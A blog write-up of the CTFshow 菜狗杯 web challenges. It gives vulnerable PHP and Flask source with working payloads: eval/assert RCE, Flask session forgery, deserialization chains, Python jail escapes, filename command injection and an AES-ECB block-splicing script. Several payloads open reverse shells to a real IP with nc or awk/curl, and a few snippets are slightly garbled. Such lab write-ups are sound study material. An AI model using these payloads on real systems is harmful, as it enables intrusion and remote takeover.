March 2, 2023

CTFSHOW-菜狗杯

web签到

image.png
考点:RCE
这签到真恶心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

就是有点绕:

1
2
?a=b&b[6][0][7][5][8][0][9][4][4]=system('tac /f*');
A=a

image.png

web2 c0me_t0_s1gn

考点:前端JS
image.png
直接在控制台得

我的眼里只有$

image.png
考点:RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

_=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&J=L&L=phpinfo();
image.png
这样就可以rce了

抽老婆

image.png
考点:任意文件下载,JWT
image.png
一个抽二次元老婆的题目
image.png
有两个选项,左边的没啥意思,右边有个下载,可能是洞挖多了,看到这个就条件反射了
经过测试是有一个任意文件下载的漏洞的,根据报错信息,我们可以知道当前的目录:
image.png
读取一下app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():
return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)

简单的审一下会发现是一个JWT:
然后key已经在源码中有了,我们去伪造一下我们的session:
这里用jwt.io是不行的,我们用flask-session-cookie-manager-master
image.png
python flask_session_cookie_manager3.py decode -c "eyJjdXJyZW50X3dpZmkiOiIxZDRkYWQwZTFjYThkNTYyODU1MmE3MTY5OThmNmE0Mi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3jryw.CIhqtqzRYMXWEjglBwzJvkip4LM" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
python flask_session_cookie_manager3.py encode -t "{'current_wifi': '1d4dad0e1ca8d5628552a716998f6a42.jpg', 'isadmin': True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
运行上面两条语句来伪造最后根据代码中写的secret_path_U_never_know路由去得到flag

一言既出

image.png

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}

挺有意思的,第一次做的时候是非预期,这一次就按预期走一次
这边存在一个断言,我们利用断言让assert返回true也就是让里面的语句执行为真

image.png
image.png
这个意思也就是说假如我们往assert里传入了一个boolean类型的指令话,如果判断为true那assert也返回true反之
这里有很多种payload,我一个个的列下来:
114514);(1919810
114514)==1%20or%20system(%27ls%27);%23
这一条命令还可以远程RCE
image.png
114514);%23
以上都可以,很骚反正

驷马难追

image.png
这里就要用到我说的非预期了

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}

function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
1
?mum=114514%2b1805296

加法运算,想不到吧
不要看起来很小儿科,做题的时候真可能想不到的,汲取思路!

TAPTAPTAP

image.png
image.png
在js发现了可疑的东西:
image.png
进去看看:
image.png

Webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
error_reporting(0);

class Webshell {
public $cmd = 'echo "Hello World!"';

public function __construct() {
$this->init();
}

public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}

public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}

if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}

?>

简简单单拉~出题人为了方便还特地装了个nc,开心!
构造一下:

1
2
3
4
5
class Webshell {
public $cmd = 'nc 43.140.251.169 7777 -e sh';
}
$a=new Webshell();
echo serialize($a);

然后直接就反弹shell了
image.png

化零为整

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}

if ($result ==="大牛"){
echo $flag;
}

题目意思只能说概括的很全面,有一种精灵宝可梦的感觉,给大家一点时间反应一下,猜猜看,遮住下面

那现在就公布答案了:
一个英文是占一个字节的,一个中文占3个字节,这一点从URL编码也可以看到,但是我们可能想不到,中文单个字节是乱码,但是两个字节一粘起来就变成了中文:
image.png
最终传参为:
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
image.png

无一幸免

意义不明:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}

image.png

无一幸免_FIXED

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
die($flag);
}
}
?>

这才对劲,考的是一个数组整形溢出绕过永真:
image.png
payload:
?0=9223372036854775807:
image.png
可以看到报错也说了是溢出,但是可以绕过

传说之下(雾)

考点:前端js审计
嗯,不会!
现在再来做一次就感觉恍然大悟了
image.png
可以看到这里有个score变量,题目也说了score大于2077就会输出flag,所以这个东西留个心眼,然后发现了一段:
image.png
js混淆,那就猜测flag肯定在这了,但考点不是反混淆,之后又发现:
image.png
整个游戏是靠着Game = new Underophidian('gameCanvas')运行起来的
思路就是文件下载到本地来,修改score,直接就得到flag
image.png
然后就有flag了:
image.png
拖到本地复现还是有点问题的不知道为什么,和wp里还是有点不像

算力超群

考点:SSTI?也不算,JAIL题
上强度了上强度了,这题写出来还是有成就感的:
image.png
image.png
一个算术板子,抓包之后可以发现传递了3个参数:
image.png
我们直接在浏览器看看他的报错代码
发现了程序执行命令的语句
image.png
result = eval(a + operator + b)
这个a,operator,b对应的就是我们传递的3个参数,这里肯定是存在一个沙盒逃逸的:
image.png可以看到右边报错显示str不能加法,我们开放思维去想象一下,既然他识别了str,那我们能不能进一步尝试一下:
image.png
观察到是识别了我们的import的,这边就开始进行一个无回显的反弹shell
__import__('os').system('nc%2043.140.251.169%206666%20%20-e%20sh%20'):
image.png

算力升级

给了源码,成白盒测试了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2
import json
#初始化全局变量
app = Flask(__name__)
pattern=re. (r'\w+')
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
try:
result=eval(code)
return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
except:
return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)

大概的逻辑就是把我们传递参数,做一个判断,如果参数里的单词是在gmpy2库里的话,就会通过,反之拦截
image.png
image.png
re库是用来进行正则判断的,稍微了解一下就好
我们可以在本地看看gmpy2库有哪些函数:
image.png
就是一些很普通的算法函数,这里的思路和自增很相似,'abc'[0]截取出的就是a,根据这个思路,相信大家都知道该怎么做了吧,就是截取可用字符的特定字母,这里就需要写一个脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#Author:@Boogipop
import gmpy2
dirtystr="__import__('os').popen('cat /f*').read()"
payload="gmpy2.__builtins__['sech'[1]+'invert'[2]+'acos'[0]+'bit_flip'[5]]("
for i in dirtystr:
if i not in "/'().01234567*89&<>: ":
for j in dir(gmpy2):
if i in j:
payload+=f"'{j}'[{j.find(i)}]+"
break
else:
payload +=f"\"{i}\"+"
payload=payload[:-1]+")"
print(payload)

将生成的payload放入即可!自己写脚本感觉真爽
gmpy2.__builtins__['sech'[1]+'invert'[2]+'acos'[0]+'bit_flip'[5]]('HAVE_THREADS'[4]+'HAVE_THREADS'[4]+'DivisionByZeroError'[1]+'__name__'[4]+'InvalidOperationError'[8]+'DivisionByZeroError'[6]+'DivisionByZeroError'[12]+'Default'[6]+'HAVE_THREADS'[4]+'HAVE_THREADS'[4]+"("+"'"+'DivisionByZeroError'[6]+'DivisionByZeroError'[4]+"'"+")"+"."+'InvalidOperationError'[8]+'DivisionByZeroError'[6]+'InvalidOperationError'[8]+'Default'[1]+'DivisionByZeroError'[7]+"("+"'"+'InexactResultError'[5]+'Default'[3]+'Default'[6]+" "+"/"+'Default'[2]+"*"+"'"+")"+"."+'DivisionByZeroError'[12]+'Default'[1]+'Default'[3]+'InvalidOperationError'[6]+"("+")")
image.png
欧克了

easyPytHon_P

要说的话这题才是纸老虎吧
image.png
好裸露的源码,重点放在subprocess.run函数,我们google一下:

image.png
很好理解,第一个args和第二个*分别控制命令和OPTION
这边我就直接放payload了:
image.png
本来是应该用cmd=ls,param=-l这样的,但是这就是个逃逸了,由于cmd限制3个字符,我们只好吧/tmp/放到后面去了,这似乎是一个非预期

预期:
cmd=awk&param={system("curl [https://your-shell.com/43.140.251.169:6666|sh")}](https://your-shell.com/43.140.251.169:6666|sh")})
这边是利用awk做一个反弹shell,关于awk指令,之后会来一篇文章研究一下
image.png

遍地飘零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
$$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}

变量覆盖
?_GET=flag
image.png

茶歇区

考点:PHP整形溢出
这一题一度差点成为绝杀,只是整形溢出这个概念我们不经常接触,上面的无一幸免一个道理:
image.pngimage.png
注意这里有个10,也就是我们买多少个,他要乘以10,所以留个心眼
这边直接就是整形溢出,怎么理解呢,你可以把整型数的范围想成一个圆环,我们只需要达到他的上线,在这个闭环里达到需要的范围即可:
a=10000&b=0&c=0&d=0&e=922337203685477580&submit=%E5%8D%B7%E4%BA%86%E5%B0%B1%E8%B7%91%EF%BC%81
输入两次即可:
image.png
image.png

小舔田?

简单的反序列化POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}

public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}

class Ion_Fan_Princess{
public $nickname="牛夫人";

public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}

public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}

if (isset($_GET['code'])){
unserialize($_GET['code']);

}else{
$a=new Ion_Fan_Princess();
echo $a;
}

一开始以为是什么,以为是绕过wakeup,但是看了眼PHP版本,7.3不适用,再看一眼,好像wakeup不是我们要绕过的,是必经之路,这里就直接放pop了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
public $name="月亮";
public function __construct(){
$this->name=new Ion_Fan_Princess();
}
}

class Ion_Fan_Princess{
public $nickname="小甜甜";

}
$a=new Moon;
echo serialize($a);

?>

Easy

LSB探姬

我发现这次题目有一半都是探姬出的,而且出的题都很新奇
有源码,审一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)
except:
data={"code":1,"message":"file upload error!"}
return jsonify(data)
else:
return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)

根据源码的意思是上传一个文件,之后用tsteg.py对其继续处理,然后把结果返还给我们
注意这里cmd="python3 tsteg.py upload/"+f.filename
这里是不是把文件名也拼进去了,那也就是说文件名是个RCE注入点,上传个文件抓包测试一下:
image.png
都看得到flag.py了,读就好了:
image.png
很新奇,不戳

Is_Not_Obfuscate

都说是纸老虎,但我怎么觉得不会呢,说明我才是那只纸老虎
首先在主页的源码发现了下面话语:
image.png
image.png
然后再robots.txt中找到了如下内容:
image.png
我们将flag的值改为1之后会发现出来了一串加密后的源码:
image.png
根据上面页面源码中的提示传入action=test&input={code},code就是那一串加密后的源码,code记得url编码一下,因为里面有一些特殊字符,得到了以下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}

?>

简单的审一下发现就是一个写入,一个读取执行
其中md5的salt已经给出了,就是youyou(小黑子?),接下来就很好写了:
?action=push&output=?><?php eval($_GET[1]);?>
?action=pull&input=ce42bc7f77e2ae9747e1a46991f32786&1=system('nc 43.140.251.169 7777 -e sh');
这边不能用POST,不知道为啥,可能环境没开吧
image.png
反弹出来了我们的flag,别问我为什么用反弹shell,就是觉得好玩!

龙珠NFT

压轴题来咯,确实配得上压轴的称号,考点有一个密码的知识AES-ECB的编码模式:
image.png
大概就是上述步骤,会讲明文进行分组加密,是一种对称加密

AES作为现在最常用的对称加密方法,主要优点有:运算速度快,加密程度高,内存消耗少。加密模式有:ECB,CBC,CFB,OFB。ECB相对于其他模式,简单,支持并行计算。作为分组加密的一种AES将数据以16字节为一组,对每一组进行同样的加密。可以循环对源数据每一组进行加密,因为ECB模式各分组加密独立,不依赖于上一分组,也可以预先分组好,并行进行加密,然后拼接。

因为要以16字节为一组加密,所以如果源数据大小不是16字节的倍数,最后一组数据需要填充,满足16字节。有三种填充方法:

padding zero: 如果数据大小不是16字节的倍数,最后一组数据需要用0凑齐16字节,然后再加密,当然解密之后需要将补充的0拿掉,但是可能会有误伤。如果源数据结尾也是0,就可能会造成数据损失。

padding pkcs7: 如果数据大小不是16字节的倍数,最后一组数据用缺失数据大小补充完整。比如最后一分组为13字节,差3字节,那么补充3,3,3。如果数据是16字节的倍数,那么后面还是要补充一个分组,数据为16。这样在解密之后需要根据最后一个数据的大小,决定要去除尾部多少个数据。
————————————————
原文链接:https://blog.csdn.net/linfengmove/article/details/108275747

先了解一下AES-ECB加密方式,再来写题,进入靶场看看
image.png
先要登入,然后可以查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:DragonBall Radar (BlockChain)
"""
import hashlib
from flask import *
import os
import json
import hashlib
from Crypto.Cipher import AES
import random
import time
import base64
#网上找的AES加密代码,加密我又不懂,加就完事儿了
class AESCipher():
def __init__(self,key):
self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16])
self.model = AES.MODE_ECB
self.aes = AES.new(self.key,self.model)
def add_16(self,par):
if type(par) == str:
par = par.encode()
while len(par) % 16 != 0:
par += b'\x00'
return par
def aesencrypt(self,text):
text = self.add_16(text)
self.encrypt_text = self.aes.encrypt(text)
return self.encrypt_text
def aesdecrypt(self,text):
self.decrypt_text = self.aes.decrypt(text)
self.decrypt_text = self.decrypt_text.strip(b"\x00")
return self.decrypt_text
#初始化全局变量
app = Flask(__name__)
flag=os.getenv('FLAG')
AES_ECB=AESCipher(flag)
app.config['JSON_AS_ASCII'] = False
#懒得弄数据库或者类,直接弄字典就完事儿了
players={}
@app.route('/', methods=['GET'])
def index():
"""
提供登录功能
"""
@app.route('/radar',methods=['GET','POST'])
def radar():
"""
提供雷达界面
"""
@app.route('/find_dragonball',methods=['GET','POST'])
def find_dragonball():
"""
找龙珠,返回龙珠地址
"""
xxxxxxxxxxx#无用代码可以忽略
if search_count==10:#第一次搜寻,给一个一星龙珠
dragonball="1"
elif search_count<=0:
data={"code":1,"msg":"搜寻次数已用完"}
return jsonify(data)
else:
random_num=random.randint(1,1000)
if random_num<=6:
dragonball=一个没拿过的球,比如'6'
else:
dragonball='0'#0就代表没有发现龙珠
players[player_id]['search_count']=search_count-1
data={'player_id':player_id,'dragonball':dragonball,'round_no':str(11-search_count),'time':time.strftime('%Y-%m-%d %H:%M:%S')}
#json.dumps(data)='{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}'
data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()
return jsonify(data)
@app.route('/get_dragonball',methods=['GET','POST'])
def get_dragonball():
"""
根据龙珠地址解密后添加到用户信息
"""
xxxxxxxxx#无用代码可以忽略
try:
player_id=request.cookies.get("player_id")
address=request.args.get('address')
data=AES_ECB.aesdecrypt(base64.b64decode(address))
data=json.loads(data.decode())
if data['dragonball'] !="0":
players[data['player_id']]['dragonballs'].append(data['dragonball'])
return jsonify({'get_ball':data['dragonball']})
else:
return jsonify({'code':1,'msg':"这个地址没有发现龙珠"})
except:
return jsonify({'code':1,'msg':"你干啥???????"})
@app.route('/flag',methods=['GET','POST'])
def get_flag():
"""
查看龙珠库存
"""
#如果有7颗龙珠就拿到flag~
@app.route('/source',methods=['GET','POST'])
def get_source():
"""
查看源代码
"""
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)

find_dragonball路由里面对address进行了一次AES加密,是将datadata[address]进行了分组加密,然后会吐给我们一个address,之后在get_dragonball路由获取龙珠。
我们现在要做的事情和伪造JWT很像,就是如何去伪造一个address,我们首先可以用g4大佬的脚本分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import json
import base64
import random
url='http://57529baf-8d1b-4e0d-9beb-0ca4cce49a36.challenge.ctf.show/'


s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]

for i in range(10):
r=s.get(url+'find_dragonball')
responses.append(json.loads(r.text))

for item in responses:
# data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()
data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
miwen=base64.b64decode(item['address'])

for x in range(int(len(miwen)/16)):
print(f'{x*16}\t{data[x*16:x*16+16]}\t{miwen[x*16:x*16+16]}')

print('')

用这个脚本可以直观的显示一下加密的意思:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0	{"player_id": "1	b'Z\x1eMi\x17\xd0+\xc4<\xb1\xa1\x043\xfe\xe2_'
16 5b6f28363206ef31 b'|\tp\xcd\xe8k#\xa0!Z\x8f\xe8nw\xa3\xb4'
32 8d53ecd59b53dfb" b'y\x7f\xe0\x9c2\xc6Q\xffW\x80,\xec\x13\xf5(\xb3'
48 , "dragonball": b'\xdaz\xe3a\xf7M#\x94$\x1f\xf4\rL\xa0a?'
64 "0", "round_no": b'f\xbcw\xdfLtu\xba\x80d\x0e9C<\x04\x0b'
80 "3", "time": "2 b'~N\xab\xcdW\xecVq\xe0\xc8\xfc\x19K^P\xb0'
96 022-11-20 07:25: b'\x93\xf6bbc\xdf\x8c\xcd\xe0A\x02\xd5\x10/m\x14'
112 33"} b'\x84\xde\xb4:p\x8e[\x08Z\xf1\xa4\xed.5c9'

0 {"player_id": "1 b'Z\x1eMi\x17\xd0+\xc4<\xb1\xa1\x043\xfe\xe2_'
16 5b6f28363206ef31 b'|\tp\xcd\xe8k#\xa0!Z\x8f\xe8nw\xa3\xb4'
32 8d53ecd59b53dfb" b'y\x7f\xe0\x9c2\xc6Q\xffW\x80,\xec\x13\xf5(\xb3'
48 , "dragonball": b'\xdaz\xe3a\xf7M#\x94$\x1f\xf4\rL\xa0a?'
64 "0", "round_no": b'f\xbcw\xdfLtu\xba\x80d\x0e9C<\x04\x0b'
80 "4", "time": "2 b"\xe6\xb8\xa1\xcdB\xb8`\x9e{O\xbe'\xe9Z\xb5["
96 022-11-20 07:25: b'\x93\xf6bbc\xdf\x8c\xcd\xe0A\x02\xd5\x10/m\x14'
112 33"} b'\x84\xde\xb4:p\x8e[\x08Z\xf1\xa4\xed.5c9'

0 {"player_id": "1 b'Z\x1eMi\x17\xd0+\xc4<\xb1\xa1\x043\xfe\xe2_'
16 5b6f28363206ef31 b'|\tp\xcd\xe8k#\xa0!Z\x8f\xe8nw\xa3\xb4'
32 8d53ecd59b53dfb" b'y\x7f\xe0\x9c2\xc6Q\xffW\x80,\xec\x13\xf5(\xb3'
48 , "dragonball": b'\xdaz\xe3a\xf7M#\x94$\x1f\xf4\rL\xa0a?'
64 "0", "round_no": b'f\xbcw\xdfLtu\xba\x80d\x0e9C<\x04\x0b'
80 "5", "time": "2 b'\x87\xa0@\xfaLOSNX\x9e\x87\xce\xdf\xf6\xa0\xa3'
96 022-11-20 07:25: b'\x93\xf6bbc\xdf\x8c\xcd\xe0A\x02\xd5\x10/m\x14'
112 33"} b'\x84\xde\xb4:p\x8e[\x08Z\xf1\xa4\xed.5c9'

截取了跑出来的2组数据,AES-CEB加密方式,一组16个字符串,左边是明文,右边是密文
可以看到密文相同时,密文也是相同的,唯一不同的就是这一组:
64 "0", "round_no":由于这是计算你抽了多少次奖的记录,所以会有所不同,我们要做的也就是把这行去掉,构造一个伪造的address,让抽奖次数等于我们的龙珠编号,和反序列化字符逃逸有点相似吼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import json
import base64
import random

url = 'http://57529baf-8d1b-4e0d-9beb-0ca4cce49a36.challenge.ctf.show/'

s = requests.session()
username = str(random.randint(1, 100000))
print(username)
r = s.get(url + '?username=' + username)
responses = []

for i in range(10):
r = s.get(url + 'find_dragonball')
responses.append(json.loads(r.text))

for item in responses:
# data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()
data = json.dumps({'player_id': item['player_id'], 'dragonball': item['dragonball'], 'round_no': item['round_no'],
'time': item['time']})
miwen = base64.b64decode(item['address'])
round_no = item['round_no']
fake = miwen[:64] + miwen[80:]
fake=base64.b64encode(fake).decode()
# print(fake)
r=s.get(url+'get_dragonball',params={"address":fake})
r=s.get(url+'flag')
print(r.text)


image.png
最后你可以看到flag,脑洞大开

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp